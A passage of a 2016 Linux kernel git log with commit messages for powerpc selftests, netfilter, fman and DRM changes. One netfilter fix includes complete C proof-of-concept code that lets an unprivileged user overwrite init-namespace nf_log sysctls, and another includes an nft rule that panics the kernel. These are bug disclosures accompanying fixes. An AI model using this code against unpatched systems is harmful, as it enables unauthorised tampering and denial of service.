12 +- 7 files changed, 197 insertions(+), 381 deletions(-) commit dd9bda4780936d319476867901b20c86b490b0c0 Author: Cyril Bur Date: Fri Sep 23 16:18:23 2016 +1000 selftests/powerpc: Add checks for transactional VSXs in signal contexts If a thread receives a signal while transactional the kernel creates a second context to show the transactional state of the process. This test loads some known values and waits for a signal and confirms that the expected values are in the signal context. Signed-off-by: Cyril Bur Signed-off-by: Michael Ellerman tools/testing/selftests/powerpc/tm/Makefile | 2 +- .../powerpc/tm/tm-signal-context-chk-vsx.c | 125 +++++++++++++++++++++ 2 files changed, 126 insertions(+), 1 deletion(-) commit 7bb0e7e38b5787d0d88c709c8933a08ed733eb94 Author: Cyril Bur Date: Fri Sep 23 16:18:22 2016 +1000 selftests/powerpc: Add checks for transactional VMXs in signal contexts If a thread receives a signal while transactional the kernel creates a second context to show the transactional state of the process. This test loads some known values and waits for a signal and confirms that the expected values are in the signal context. Signed-off-by: Cyril Bur Signed-off-by: Michael Ellerman tools/testing/selftests/powerpc/tm/Makefile | 3 +- .../powerpc/tm/tm-signal-context-chk-vmx.c | 110 +++++++++++++++++++++ 2 files changed, 112 insertions(+), 1 deletion(-) commit 5ca4ffcd5cee39af6b0b3ccfea59ebfffb5c2ad5 Author: Cyril Bur Date: Fri Sep 23 16:18:21 2016 +1000 selftests/powerpc: Add checks for transactional FPUs in signal contexts If a thread receives a signal while transactional the kernel creates a second context to show the transactional state of the process. This test loads some known values and waits for a signal and confirms that the expected values are in the signal context. Signed-off-by: Cyril Bur Signed-off-by: Michael Ellerman tools/testing/selftests/powerpc/tm/Makefile | 2 +- .../powerpc/tm/tm-signal-context-chk-fpu.c | 92 ++++++++++++++++++++++ 2 files changed, 93 insertions(+), 1 deletion(-) commit f10d4424b20c101f3b4dd599819083e1e4b5a3fa Author: Cyril Bur Date: Fri Sep 23 16:18:20 2016 +1000 selftests/powerpc: Add checks for transactional GPRs in signal contexts If a thread receives a signal while transactional the kernel creates a second context to show the transactional state of the process. This test loads some known values and waits for a signal and confirms that the expected values are in the signal context. Signed-off-by: Cyril Bur Signed-off-by: Michael Ellerman tools/testing/selftests/powerpc/tm/Makefile | 7 +- .../powerpc/tm/tm-signal-context-chk-gpr.c | 90 ++++++++++++++++ tools/testing/selftests/powerpc/tm/tm-signal.S | 114 +++++++++++++++++++++ 3 files changed, 210 insertions(+), 1 deletion(-) commit ef186331b427fdf2bf791d184921df6c6c6e9a63 Author: Cyril Bur Date: Fri Sep 23 16:18:19 2016 +1000 selftests/powerpc: Check that signals always get delivered Signed-off-by: Cyril Bur Signed-off-by: Michael Ellerman tools/testing/selftests/powerpc/Makefile | 1 + tools/testing/selftests/powerpc/signal/Makefile | 13 +++ tools/testing/selftests/powerpc/signal/signal.S | 50 ++++++++++ tools/testing/selftests/powerpc/signal/signal.c | 111 +++++++++++++++++++++ tools/testing/selftests/powerpc/signal/signal_tm.c | 110 ++++++++++++++++++++ 5 files changed, 285 insertions(+) commit 8e03bd4e70b6a4c70ac3ea6766b2bc06a8ad91a3 Author: Cyril Bur Date: Fri Sep 23 16:18:18 2016 +1000 selftests/powerpc: Add TM tcheck helpers in C Signed-off-by: Cyril Bur Signed-off-by: Michael Ellerman tools/testing/selftests/powerpc/tm/tm.h | 27 +++++++++++++++++++++++++++ 1 file changed, 27 insertions(+) commit 0886c6d4d21edc9902adfbf02e6e74916287ae04 Author: Cyril Bur Date: Fri Sep 23 16:18:17 2016 +1000 selftests/powerpc: Allow tests to extend their kill timeout Signed-off-by: Cyril Bur Signed-off-by: Michael Ellerman tools/testing/selftests/powerpc/harness.c | 9 +++++++-- tools/testing/selftests/powerpc/utils.h | 2 +- 2 files changed, 8 insertions(+), 3 deletions(-) commit babcd9c4b3e8d271144da4b2b412c3b9991b35d2 Author: Cyril Bur Date: Fri Sep 23 16:18:16 2016 +1000 selftests/powerpc: Introduce GPR asm helper header file Signed-off-by: Cyril Bur Signed-off-by: Michael Ellerman tools/testing/selftests/powerpc/gpr_asm.h | 96 +++++++++++++++++++++++++++++++ 1 file changed, 96 insertions(+) commit 2b4093790abdf0219f8ca192ecc4ecc63cdb5124 Author: Cyril Bur Date: Fri Sep 23 16:18:15 2016 +1000 selftests/powerpc: Move VMX stack frame macros to header file Signed-off-by: Cyril Bur Signed-off-by: Michael Ellerman tools/testing/selftests/powerpc/math/vmx_asm.S | 85 +---------------------- tools/testing/selftests/powerpc/vmx_asm.h | 96 ++++++++++++++++++++++++++ 2 files changed, 97 insertions(+), 84 deletions(-) commit be4a9f56666af94eccf7993661c1a62db033bff9 Author: Cyril Bur Date: Fri Sep 23 16:18:14 2016 +1000 selftests/powerpc: Rework FPU stack placement macros and move to header file The FPU regs are placed at the top of the stack frame. Currently the position expected to be passed to the macro. The macros now should be passed the stack frame size and from there they can calculate where to put the regs, this makes the use simpler. Also move them to a header file to be used in an different area of the powerpc selftests Signed-off-by: Cyril Bur Signed-off-by: Michael Ellerman tools/testing/selftests/powerpc/fpu_asm.h | 80 ++++++++++++++++++++++++++ tools/testing/selftests/powerpc/math/fpu_asm.S | 73 ++--------------------- 2 files changed, 85 insertions(+), 68 deletions(-) commit 65ca668f58a260e144621fd93a413da67635b999 Author: Cyril Bur Date: Fri Sep 23 16:18:13 2016 +1000 selftests/powerpc: Check for VSX preservation across userspace preemption Ensure the kernel correctly switches VSX registers correctly. VSX registers are all volatile, and despite the kernel preserving VSX across syscalls, it doesn't have to. Test that during interrupts and timeslices ending the VSX regs remain the same. Signed-off-by: Cyril Bur Signed-off-by: Michael Ellerman tools/testing/selftests/powerpc/math/Makefile | 5 +- tools/testing/selftests/powerpc/math/vsx_asm.S | 61 +++++++++ tools/testing/selftests/powerpc/math/vsx_preempt.c | 147 +++++++++++++++++++++ tools/testing/selftests/powerpc/vsx_asm.h | 71 ++++++++++ 4 files changed, 283 insertions(+), 1 deletion(-) commit 8657355f5b5f657407efc12a2223e8a3a6d658de Merge: 597f03f b42c736 Author: Ingo Molnar Date: Tue Oct 4 10:04:47 2016 +0200 Merge tag 'perf-core-for-mingo-20161003' of git://git.kernel.org/pub/scm/linux/kernel/git/acme/linux into perf/urgent Pull perf/core improvements and fixes: - Allow vendors to provide JSON files describing PMU events, that then get parsed to generate C tables that are linked against perf, allowing the use of the names in their documentations, such as: # perf list l1d List of pre-defined events (to be used in -e): Cache: l1d.replacement [L1D data line replacements] l1d_pend_miss.fb_full [Cycles a demand request was blocked due to Fill Buffers inavailability] l1d_pend_miss.pending [L1D miss oustandings duration in cycles] l1d_pend_miss.pending_cycles [Cycles with L1D load Misses outstanding] l1d_pend_miss.pending_cycles_any [Cycles with L1D load Misses outstanding from any thread on physical core] l2_trans.l1d_wb [L1D writebacks that access L2 cache] Pipeline: cycle_activity.cycles_l1d_miss [Cycles while L1 cache miss demand load is outstanding] cycle_activity.cycles_l1d_pending [Cycles while L1 cache miss demand load is outstanding] cycle_activity.stalls_l1d_miss [Execution stalls while L1 cache miss demand load is outstanding] cycle_activity.stalls_l1d_pending [Execution stalls while L1 cache miss demand load is outstanding] The above example was done on a Broadwell based ThinkPad t450s after downloading and installing such JSON files which will be added to the tools/perf/pmu-events/ directory in a subsequent patchkit. Now one can use those names with -e/--event in all 'perf tools'. (Andi Kleen, Sukadev Bhattiprolu) - Add a missing pointer dereference in 'perf probe' (Colin Ian King) - Add support for building host programs to be used in generating files to be used in the build process, such as fixdep and jevents, fixing the usage of these features in a cross compilation setup (Jiri Olsa) Signed-off-by: Arnaldo Carvalho de Melo Signed-off-by: Ingo Molnar commit be6a2e4c46cc122ba9113ba569fbc50fad075fff Author: Ingo Molnar Date: Tue Oct 4 09:55:57 2016 +0200 Revert "sched/core: Do not use smp_processor_id() with preempt enabled in smpboot_thread_fn()" This reverts commit 4fa5cd5245b627db88c9ca08ae442373b02596b4. The original change widens a preempt-off section, to avoid a seemingly unsafe smp_processor_id() use. During review I overlooked two facts: - The code to calls a non-trivial function callback: ht->park(td->cpu); ... which might (and does occasionally) sleep, triggering the warning. - More importantly, as pointed out by Peter Zijlstra, using smp_processor_id() in that context is safe, if it's done from a kernel thread that is pinned to a single CPU - which is the case here. So revert to the original code that enables preemption sooner. Reported-by: kernel test robot Acked-by: Peter Zijlstra Cc: Con Kolivas Cc: Alfred Chen Link: http://lkml.kernel.org/r/20160930015102.GB20189@yexl-desktop Signed-off-by: Ingo Molnar kernel/smpboot.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 1e1430d5282bc3a572465ef3261eea793d98a653 Merge: bb42f2d 9a8dd21 Author: Johannes Berg Date: Tue Oct 4 09:22:19 2016 +0200 Merge remote-tracking branch 'net-next/master' into mac80211-next Resolve the merge conflict between Felix's/my and Toke's patches coming into the tree through net and mac80211-next respectively. Most of Felix's changes go away due to Toke's new infrastructure work, my patch changes to "goto begin" (the label wasn't there before) instead of returning NULL so flow control towards drivers is preserved better. Signed-off-by: Johannes Berg commit 2fbfadb5436a394b0aad68d21de60fe3eb9c14db Author: Madalin Bucur Date: Tue Jul 19 11:10:37 2016 +0300 MAINTAINERS: net: add entry for Freescale QorIQ DPAA FMan driver Add record for Freescale QORIQ DPAA FMan driver adding myself as maintainer. Signed-off-by: Madalin Bucur MAINTAINERS | 7 +++++++ 1 file changed, 7 insertions(+) commit 07d8aafb3ef833fbc3890b36bf2822ce47209621 Author: Madalin Bucur Date: Wed Sep 14 15:08:43 2016 +0300 fsl/fman: remove leftover comment Signed-off-by: Madalin Bucur drivers/net/ethernet/freescale/fman/fman_mac.h | 4 ---- 1 file changed, 4 deletions(-) commit 2fa46c130193300f06e68727ae98ec9f6184cad4 Author: Liping Zhang Date: Tue Sep 27 20:49:19 2016 +0800 netfilter: nft_limit: fix divided by zero panic After I input the following nftables rule, a panic happened on my system: # nft add rule filter OUTPUT limit rate 0xf00000000 bytes/second divide error: 0000 [#1] SMP [ ... ] RIP: 0010:[] [] nft_limit_pkt_bytes_eval+0x2e/0xa0 [nft_limit] Call Trace: [] nft_do_chain+0xfb/0x4e0 [nf_tables] [] ? nf_nat_setup_info+0x96/0x480 [nf_nat] [] ? ipt_do_table+0x327/0x610 [] ? __nf_nat_alloc_null_binding+0x57/0x80 [nf_nat] [] nft_ipv4_output+0xaf/0xd0 [nf_tables_ipv4] [] nf_iterate+0x62/0x80 [] nf_hook_slow+0x73/0xd0 [] __ip_local_out+0xcd/0xe0 [] ? ip_forward_options+0x1b0/0x1b0 [] ip_local_out+0x1c/0x40 This is because divisor is 64-bit, but we treat it as a 32-bit integer, then 0xf00000000 becomes zero, i.e. divisor becomes 0. Signed-off-by: Liping Zhang Signed-off-by: Pablo Neira Ayuso net/netfilter/nft_limit.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit dbb5918cb333dfeb8897f8e8d542661d2ff5b9a0 Author: Jann Horn Date: Sun Sep 18 21:40:55 2016 +0200 netfilter: fix namespace handling in nf_log_proc_dostring nf_log_proc_dostring() used current's network namespace instead of the one corresponding to the sysctl file the write was performed on. Because the permission check happens at open time and the nf_log files in namespaces are accessible for the namespace owner, this can be abused by an unprivileged user to effectively write to the init namespace's nf_log sysctls. Stash the "struct net *" in extra2 - data and extra1 are already used. Repro code: #define _GNU_SOURCE #include #include #include #include #include #include #include #include #include #include char child_stack[1000000]; uid_t outer_uid; gid_t outer_gid; int stolen_fd = -1; void writefile(char *path, char *buf) { int fd = open(path, O_WRONLY); if (fd == -1) err(1, "unable to open thing"); if (write(fd, buf, strlen(buf)) != strlen(buf)) err(1, "unable to write thing"); close(fd); } int child_fn(void *p_) { if (mount("proc", "/proc", "proc", MS_NOSUID|MS_NODEV|MS_NOEXEC, NULL)) err(1, "mount"); /* Yes, we need to set the maps for the net sysctls to recognize us * as namespace root. */ char buf[1000]; sprintf(buf, "0 %d 1\n", (int)outer_uid); writefile("/proc/1/uid_map", buf); writefile("/proc/1/setgroups", "deny"); sprintf(buf, "0 %d 1\n", (int)outer_gid); writefile("/proc/1/gid_map", buf); stolen_fd = open("/proc/sys/net/netfilter/nf_log/2", O_WRONLY); if (stolen_fd == -1) err(1, "open nf_log"); return 0; } int main(void) { outer_uid = getuid(); outer_gid = getgid(); int child = clone(child_fn, child_stack + sizeof(child_stack), CLONE_FILES|CLONE_NEWNET|CLONE_NEWNS|CLONE_NEWPID |CLONE_NEWUSER|CLONE_VM|SIGCHLD, NULL); if (child == -1) err(1, "clone"); int status; if (wait(&status) != child) err(1, "wait"); if (!WIFEXITED(status) || WEXITSTATUS(status) != 0) errx(1, "child exit status bad"); char *data = "NONE"; if (write(stolen_fd, data, strlen(data)) != strlen(data)) err(1, "write"); return 0; } Repro: $ gcc -Wall -o attack attack.c -std=gnu99 $ cat /proc/sys/net/netfilter/nf_log/2 nf_log_ipv4 $ ./attack $ cat /proc/sys/net/netfilter/nf_log/2 NONE Because this looks like an issue with very low severity, I'm sending it to the public list directly. Signed-off-by: Jann Horn Signed-off-by: Pablo Neira Ayuso net/netfilter/nf_log.c | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) commit 0af46590d415ee672f9056c7cda5da63e02dbebf Author: Madalin Bucur Date: Tue Jul 12 18:08:52 2016 +0300 fsl/fman: fix return value checking Signed-off-by: Madalin Bucur drivers/net/ethernet/freescale/fman/fman.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 73912d51d6c80096e95d29118b48c53393890bf2 Author: Madalin Bucur Date: Thu Jul 7 15:25:24 2016 +0300 fsl/fman: simplify redundant condition Change suggested by David Binderman, thanks. Signed-off-by: Madalin Bucur drivers/net/ethernet/freescale/fman/fman.c | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) commit 604104fc549a32ae928435a48de6761af13836ea Author: Madalin Bucur Date: Thu Jun 30 16:48:05 2016 +0300 fsl/fman: check of_get_phy_mode() return value For unknown compatibles avoid crashing and default to SGMII. Signed-off-by: Madalin Bucur drivers/net/ethernet/freescale/fman/mac.c | 10 ++++++---- 1 file changed, 6 insertions(+), 4 deletions(-) commit 47256192c65b786ea9dbebf47f45b938a02e3914 Author: Madalin Bucur Date: Tue Jun 28 15:32:44 2016 +0300 fsl/fman: check pcsphy pointer before use Signed-off-by: Madalin Bucur drivers/net/ethernet/freescale/fman/fman_memac.c | 3 +++ 1 file changed, 3 insertions(+) commit 44045e45abbda3e6db7ca0ef3e460e6ed03419c9 Author: Madalin Bucur Date: Fri Jun 24 12:25:05 2016 +0300 fsl/fman: MEMAC may use QSGMII PHY interface mode Signed-off-by: Madalin Bucur drivers/net/ethernet/freescale/fman/fman_memac.c | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) commit 73c364e110015690f13336544a51aab685bd5f23 Author: Madalin Bucur Date: Tue May 24 16:33:54 2016 +0300 fsl/fman: return a phy_dev pointer from init Signed-off-by: Madalin Bucur drivers/net/ethernet/freescale/fman/mac.c | 22 +++++++++++----------- drivers/net/ethernet/freescale/fman/mac.h | 3 ++- 2 files changed, 13 insertions(+), 12 deletions(-) commit 537a31658f8a01d635eb628eff5895672ac03981 Author: Madalin Bucur Date: Mon May 16 16:57:14 2016 +0300 fsl/fman: simplify device tree reads Signed-off-by: Madalin Bucur drivers/net/ethernet/freescale/fman/fman.c | 30 ++++++++++--------------- drivers/net/ethernet/freescale/fman/fman_port.c | 24 ++++++-------------- drivers/net/ethernet/freescale/fman/mac.c | 24 +++++++++----------- 3 files changed, 30 insertions(+), 48 deletions(-) commit 6fa8519274db638fff104fffeadbffc089499244 Author: Madalin Bucur Date: Thu Apr 7 12:50:16 2016 +0300 fsl/fman: use of_get_phy_mode() Signed-off-by: Madalin Bucur drivers/net/ethernet/freescale/fman/mac.c | 33 ++----------------------------- 1 file changed, 2 insertions(+), 31 deletions(-) commit 5df6f7fa47e0306bdbb94ac7f3545697ff92d7d2 Author: Madalin Bucur Date: Tue Mar 22 10:27:16 2016 +0200 fsl/fman: small fixes Make module params static, proper NULL checks, remove __iomem label when misused. Signed-off-by: Madalin Bucur drivers/net/ethernet/freescale/fman/fman.c | 6 +++--- drivers/net/ethernet/freescale/fman/fman_port.c | 8 +++++--- 2 files changed, 8 insertions(+), 6 deletions(-) commit 29c4684e76193bc318305b5d8ebe40a4141f029e Author: Igal Liberman Date: Sat Jan 9 23:16:33 2016 +0200 fsl/fman: fix loadable module compilation Signed-off-by: Igal Liberman drivers/net/ethernet/freescale/fman/Makefile | 10 ++++--- drivers/net/ethernet/freescale/fman/fman.c | 35 +++++++++++++++++++++++-- drivers/net/ethernet/freescale/fman/fman_port.c | 23 +++++++++++++++- drivers/net/ethernet/freescale/fman/fman_sp.c | 3 +++ 4 files changed, 64 insertions(+), 7 deletions(-) commit 8536aa06f7d7d0eaed112b869ea07cba75eb05d8 Author: Madalin Bucur Date: Tue Jul 19 10:56:17 2016 +0300 fsl/fman: split lines over 80 characters Signed-off-by: Madalin Bucur drivers/net/ethernet/freescale/fman/fman_muram.c | 3 ++- drivers/net/ethernet/freescale/fman/fman_muram.h | 3 ++- 2 files changed, 4 insertions(+), 2 deletions(-) commit 0546d685f07cc4fc5748fd36e57d167877c2842d Author: Tomeu Vizoso Date: Fri Sep 23 16:06:40 2016 +0200 drm/rockchip: analogix_dp: Refuse to enable PSR if panel doesn't support it There's no point in enabling PSR when the panel doesn't support it. This also avoids a problem when PSR gets enabled when a CRTC is being disabled, because sometimes in that situation the DSP_HOLD_VALID_INTR interrupt on which we wait will never arrive. This was observed on RK3288 with a panel without PSR (veyron-jaq Chromebook). It's very easy to reproduce by running the kms_rmfb test in IGT a few times. Cc: Yakir Yang Reviewed-by: Sean Paul Signed-off-by: Tomeu Vizoso Signed-off-by: Archit Taneja Link: http://patchwork.freedesktop.org/patch/msgid/1474639600-30090-2-git-send-email-tomeu.vizoso@collabora.com drivers/gpu/drm/rockchip/analogix_dp-rockchip.c | 3 +++ 1 file changed, 3 insertions(+) commit 561b069008dcf1b2909aebb7a904a32c7d802a93 Author: Tomeu Vizoso Date: Fri Sep 23 16:06:39 2016 +0200 drm/bridge: analogix_dp: Add analogix_dp_psr_supported So users know whether PSR should be enabled or not. Cc: Yakir Yang Reviewed-by: Sean Paul Signed-off-by: Tomeu Vizoso Signed-off-by: Archit Taneja Link: http://patchwork.freedesktop.org/patch/msgid/1474639600-30090-1-git-send-email-tomeu.vizoso@collabora.com drivers/gpu/drm/bridge/analogix/analogix_dp_core.c | 8 ++++++++ include/drm/bridge/analogix_dp.h | 1 + 2 files changed, 9 insertions(+) commit 74064893901ac5103cf101ecef5946e82b6ce9c6 Author: Stefan Christ Date: Thu Sep 29 22:48:37 2016 +0200 drm/fb-helper: add DRM_FB_HELPER_DEFAULT_OPS for fb_ops The define DRM_FB_HELPER_DEFAULT_OPS provides the drm_fb_helper default implementations for functions in struct fb_ops. A drm driver can use it like: static struct fb_ops drm_fbdev_cma_ops = { .owner = THIS_MODULE, DRM_FB_HELPER_DEFAULT_OPS, /* driver specific implementations */ }; Suggested-by: Daniel Vetter Signed-off-by: Stefan Christ Reviewed-by: Gustavo Padovan Signed-off-by: Daniel Vetter Link: http://patchwork.freedesktop.org/patch/msgid/1475182136-15191-2-git-send-email-contact@stefanchrist.eu include/drm/drm_fb_helper.h | 13 +++++++++++++ 1 file changed, 13 insertions(+) commit 61802130d85fdaf9646340bf1cc64b3e06d0b19c Author: Daniel Vetter Date: Fri Sep 30 12:04:56 2016 +0200 drm: Document caveats around atomic event handling It's not that obvious how a driver can all race the atomic commit with handling the completion event. And there's unfortunately a pile of drivers with rather bad event handling which misdirect people into the wrong direction. Try to remedy this by documenting everything better. v2: Type fixes Alex spotted. v3: More typos Alex spotted. Cc: Andrzej Hajda Cc: Alex Deucher Reviewed-by: Alex Deucher Signed-off-by: Daniel Vetter Link: http://patchwork.freedesktop.org/patch/msgid/1475229896-6047-1-git-send-email-daniel.vetter@ffwll.ch drivers/gpu/drm/drm_irq.c | 32 +++++++++++++++++++++++++-- include/drm/drm_crtc.h | 56 ++++++++++++++++++++++++++++++++++++----------- 2 files changed, 73 insertions(+), 15 deletions(-) commit 58f0f9f75c1b94dabbfc3daa333a4e68536b0a42 Author: Emilio López Date: Tue Sep 27 11:31:42 2016 -0300 uapi: add missing install of sync_file.h As part of the sync framework destaging, the sync_file.h header was moved, but an entry was not added on Kbuild to install it. This patch resolves this omission so that "make headers_install" installs this header. Fixes: 460bfc41fd52 ("dma-buf/sync_file: de-stage sync_file headers") Reported-by: Michael Ellerman Reviewed-by: Gustavo Padovan Signed-off-by: Emilio López Signed-off-by: Sean Paul Link: http://patchwork.freedesktop.org/patch/msgid/20160927143142.8975-1-emilio.lopez@collabora.co.uk include/uapi/linux/Kbuild | 1 + 1 file changed, 1 insertion(+) commit 6bd488db80a4264669a7d612a1be1a91cb941cf6 Author: Joe Perches Date: Sun Sep 25 19:18:34 2016 -0700 drm: Simplify drm_printk to reduce object size quite a bit Remove function name and special " *ERROR*" from argument list $ size drivers/gpu/drm/built-in.o* (x86-32 defconfig, most drm selected) text data bss dec hex filename 5635366 182579 14328 5832273 58fe51 drivers/gpu/drm/built-in.o.new 5779552 182579 14328 5976459 5b318b drivers/gpu/drm/built-in.o.old Using "%ps", __builtin_return_address(0) is the same as "%s", __func__ except for static inlines, but it's more or less the same output. Miscellanea: o Convert args... to ##__VA_ARGS__ o The equivalent DRM_DEV_ macros are rarely used and not worth conversion Reviewed-by: Chris Wilson Signed-off-by: Joe Perches Signed-off-by: Sean Paul Link: http://patchwork.freedesktop.org/patch/msgid/01f976d5ab93c985756fc1b2e83656fb0a2a28c8.1474856262.git.joe@perches.com drivers/gpu/drm/drm_drv.c | 5 +++-- include/drm/drmP.h | 30 ++++++++++++++---------------- 2 files changed, 17 insertions(+), 18 deletions(-) commit 8cadab0a2adc612692c7ad8a176881732fa25e2a Author: Ville Syrjälä Date: Wed Sep 28 16:51:43 2016 +0300 drm/i915: Account for sink max TMDS clock when checking the port clock It's perfectly legal for the sink to support 12bpc only for some lower resolution modes, while the higher resolution modes can only be used with 8bpc. So let's take the sink's max TMDS clock into account before we go and decide that a particular mode can be used with 12bpc. Signed-off-by: Ville Syrjälä Reviewed-by: Ander Conselvan de Oliveira Signed-off-by: Daniel Vetter Link: http://patchwork.freedesktop.org/patch/msgid/1475070703-6435-11-git-send-email-ville.syrjala@linux.intel.com drivers/gpu/drm/i915/intel_hdmi.c | 9 ++++++++- 1 file changed, 8 insertions(+), 1 deletion(-) commit 6a2a5c5dea7e83474f3481553caf00dc018647b3 Author: Ville Syrjälä Date: Wed Sep 28 16:51:42 2016 +0300 drm/i915: Replace a bunch of connector->base.display_info with a local variable Reduce the eyesore with a local variable. Signed-off-by: Ville Syrjälä Reviewed-by: Ander Conselvan de Oliveira Signed-off-by: Daniel Vetter Link: http://patchwork.freedesktop.org/patch/msgid/1475070703-6435-10-git-send-email-ville.syrjala@linux.intel.com drivers/gpu/drm/i915/intel_display.c | 14 +++++++------- 1 file changed, 7 insertions(+), 7 deletions(-) commit 23ebf8b9eab9151c3cccca8dbf44a8d47357158d Author: Ville Syrjälä Date: Wed Sep 28 16:51:41 2016 +0300 drm/edid: Move dvi_dual/max_tmds_clock parsing out from drm_edid_to_eld() drm_edid_to_eld() is just mean to cook up the ELD for the audio driver, so having it parse non-audio related stuff seems just wrong, and potentially could lead to that information not being even filled out if the function doesn't even get called. Let's move that stuff to the place where we parse the color formats and whatnot from the CEA ext block. Signed-off-by: Ville Syrjälä Acked-by: Christian König Reviewed-by: Alex Deucher Signed-off-by: Daniel Vetter Link: http://patchwork.freedesktop.org/patch/msgid/1475070703-6435-9-git-send-email-ville.syrjala@linux.intel.com drivers/gpu/drm/drm_edid.c | 64 +++++++++++++++++++++++++--------------------- 1 file changed, 35 insertions(+), 29 deletions(-) commit 011acce2859ad50b7a923cad4a726220b5f24455 Author: Ville Syrjälä Date: Wed Sep 28 16:51:40 2016 +0300 drm/edid: Clear the old cea_rev when there's no CEA extension in the new EDID It's not a good idea to leave stale cea_rev in the drm_display_info. The current EDID might not even have a CEA ext block in which case we'd end up leaving the stale value in place. Signed-off-by: Ville Syrjälä Acked-by: Christian König Reviewed-by: Alex Deucher Signed-off-by: Daniel Vetter Link: http://patchwork.freedesktop.org/patch/msgid/1475070703-6435-8-git-send-email-ville.syrjala@linux.intel.com drivers/gpu/drm/drm_edid.c | 1 + 1 file changed, 1 insertion(+) commit 1cea146a806ae1f34cb1b5e3206ff63a2bb90782 Author: Ville Syrjälä Date: Wed Sep 28 16:51:39 2016 +0300 drm/edid: Reduce the number of times we parse the CEA extension block Instead of parsing parts of the CEA extension block in two places to determine supported color formats and whatnot, let's just consolidate it to one function. This also makes it possible to neatly flatten drm_assign_hdmi_deep_color_info(). Signed-off-by: Ville Syrjälä Acked-by: Christian König Reviewed-by: Alex Deucher Signed-off-by: Daniel Vetter Link: http://patchwork.freedesktop.org/patch/msgid/1475070703-6435-7-git-send-email-ville.syrjala@linux.intel.com drivers/gpu/drm/drm_edid.c | 185 +++++++++++++++++++++------------------------ 1 file changed, 88 insertions(+), 97 deletions(-) commit 1826750f5775fa17909d02755bc872dfcfc6685e Author: Ville Syrjälä Date: Wed Sep 28 16:51:38 2016 +0300 drm/edid: Don't pass around drm_display_info needlessly We already pass the connector to drm_add_display_info() and drm_assign_hdmi_deep_color_info(), so passing the connector->display_info also is pointless. Signed-off-by: Ville Syrjälä Acked-by: Christian König Reviewed-by: Alex Deucher Signed-off-by: Daniel Vetter Link: http://patchwork.freedesktop.org/patch/msgid/1475070703-6435-6-git-send-email-ville.syrjala@linux.intel.com drivers/gpu/drm/drm_edid.c | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) commit 2a272ca9b8f748aa50f5f2df391a4bf05fd9fd29 Author: Ville Syrjälä Date: Wed Sep 28 16:51:37 2016 +0300 drm/edid: Move dvi_dual/max_tmds_clock to drm_display_info We have the drm_display_info for storing information about the sink, so let's move dvi_dual and max_tmds_clock in there. v2: Deal with superfluous code shuffling Document dvi_dual and max_tmds_clock too Cc: Alex Deucher Cc: "Christian König" Signed-off-by: Ville Syrjälä Reviewed-by: Christian König (v1) Reviewed-by: Alex Deucher Signed-off-by: Daniel Vetter Link: http://patchwork.freedesktop.org/patch/msgid/1475070703-6435-5-git-send-email-ville.syrjala@linux.intel.com drivers/gpu/drm/amd/amdgpu/amdgpu_connectors.c | 4 ++-- drivers/gpu/drm/drm_edid.c | 14 ++++++++------ drivers/gpu/drm/radeon/radeon_connectors.c | 4 ++-- include/drm/drm_connector.h | 15 +++++++++++---- 4 files changed, 23 insertions(+), 14 deletions(-) commit ab5603c4d334224e3a884e62e7083ec69849fa7a Author: Ville Syrjälä Date: Wed Sep 28 16:51:36 2016 +0300 drm/edid: Make max_tmds_clock kHz instead of MHz We generally store clocks in kHz, so let's do that for the HDMI max TMDS clock value as well. Less surpising. v2: Deal with superfluous code shuffling Cc: Alex Deucher Cc: "Christian König" Signed-off-by: Ville Syrjälä Reviewed-by: Christian König (v1) Reviewed-by: Alex Deucher Signed-off-by: Daniel Vetter Link: http://patchwork.freedesktop.org/patch/msgid/1475070703-6435-4-git-send-email-ville.syrjala@linux.intel.com drivers/gpu/drm/amd/amdgpu/amdgpu_connectors.c | 2 +- drivers/gpu/drm/drm_edid.c | 2 +- drivers/gpu/drm/radeon/radeon_connectors.c | 2 +- include/drm/drm_connector.h | 2 +- 4 files changed, 4 insertions(+), 4 deletions(-) commit 75d7e542bd3669a7ce41b713be8d3fd71e0ed2fa Author: Ville Syrjälä Date: Wed Sep 28 16:51:35 2016 +0300 drm/edid: Clear old dvi_dual/max_tmds_clock before parsing the new EDID Clear out old max_tmds_clock and dvi_dual information (possibly from a previous EDID) before parsing the current EDID. Tne current EDID might not even have these in its HDMI VSDB, which would mean that we'd leave the old stale values in place. Signed-off-by: Ville Syrjälä Acked-by: Christian König Reviewed-by: Alex Deucher Signed-off-by: Daniel Vetter Link: http://patchwork.freedesktop.org/patch/msgid/1475070703-6435-3-git-send-email-ville.syrjala@linux.intel.com drivers/gpu/drm/drm_edid.c | 3 +++ 1 file changed, 3 insertions(+) commit 85c91580555ac610b266260bc7866c51bdc4d205 Author: Ville Syrjälä Date: Wed Sep 28 16:51:34 2016 +0300 drm/edid: Clear old audio latency values before parsing the new EDID Clear out stale audio latency information (potentially from a previous EDID) before constructing the ELD from the EDID. Signed-off-by: Ville Syrjälä Acked-by: Christian König Reviewed-by: Alex Deucher Signed-off-by: Daniel Vetter Link: http://patchwork.freedesktop.org/patch/msgid/1475070703-6435-2-git-send-email-ville.syrjala@linux.intel.com drivers/gpu/drm/drm_edid.c | 7 +++++++ 1 file changed, 7 insertions(+) commit 077675c1e8a193a6355d4a7c8c7bf63be310b472 Author: Chris Wilson Date: Mon Sep 26 21:44:14 2016 +0100 drm: Convert prime dma-buf <-> handle to rbtree Currently we use a linear walk to lookup a handle and return a dma-buf, and vice versa. A long overdue TODO task is to convert that to a hashtable. Since the initial implementation of dma-buf/prime, we now have resizeable hashtables we can use (and now a future task is to RCU enable the lookup!). However, this patch opts to use an rbtree instead to provide O(lgN) lookups (and insertion, deletion). rbtrees were chosen over using the RCU backed resizable hashtable to firstly avoid the reallocations (rbtrees can be embedded entirely within the parent struct) and to favour simpler code with predictable worst case behaviour. In simple testing, the difference between using the constant lookup and insertion of the rhashtable and the rbtree was less than 10% of the wall time (igt/benchmarks/prime_lookup) - both are dramatic improvements over the existing linear lists. v2: Favour rbtree over rhashtable Bugzilla: https://bugs.freedesktop.org/show_bug.cgi?id=94631 Signed-off-by: Chris Wilson Cc: Sean Paul Cc: David Herrmann Reviewed-by: David Herrmann Reviewed-by: Sean Paul Signed-off-by: Daniel Vetter Link: 